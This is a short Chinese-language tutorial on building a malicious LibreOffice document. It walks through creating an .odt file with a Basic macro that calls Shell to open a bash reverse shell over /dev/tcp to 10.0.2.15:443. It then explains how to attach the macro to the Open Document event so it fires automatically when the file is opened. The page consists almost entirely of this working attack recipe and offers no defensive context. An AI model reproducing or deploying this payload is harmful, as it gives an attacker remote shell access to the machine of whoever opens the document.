Skip to main content

PDF

malicious macro

odf

  1. 使用 LibreOffice Writer 工具创建一个文件, 并保存文件为 filename.odt
  2. 前往 Tools --> Macros --> Organize Macros --> Basic --> document
  3. 点击创建按钮, 并给 Macro 起一个名称, 对应的内容可以参考下面
REM  *****  BASIC  *****
Sub on_open(oEvent As Object)

Call Main

End Sub

Sub Main

Shell("bash -c 'bash -i >& /dev/tcp/10.0.2.15/443 0>&1'")

End Sub

image.png

保存文件后, 进行相关设置以保证在文件打开的时候开始执行命令

  1. 点击 Tools --> Customize --> Events --> Open Document --> Macro
  2. 选择对应的文档, 并宣传 on_open
  3. 随后保存文档就可以了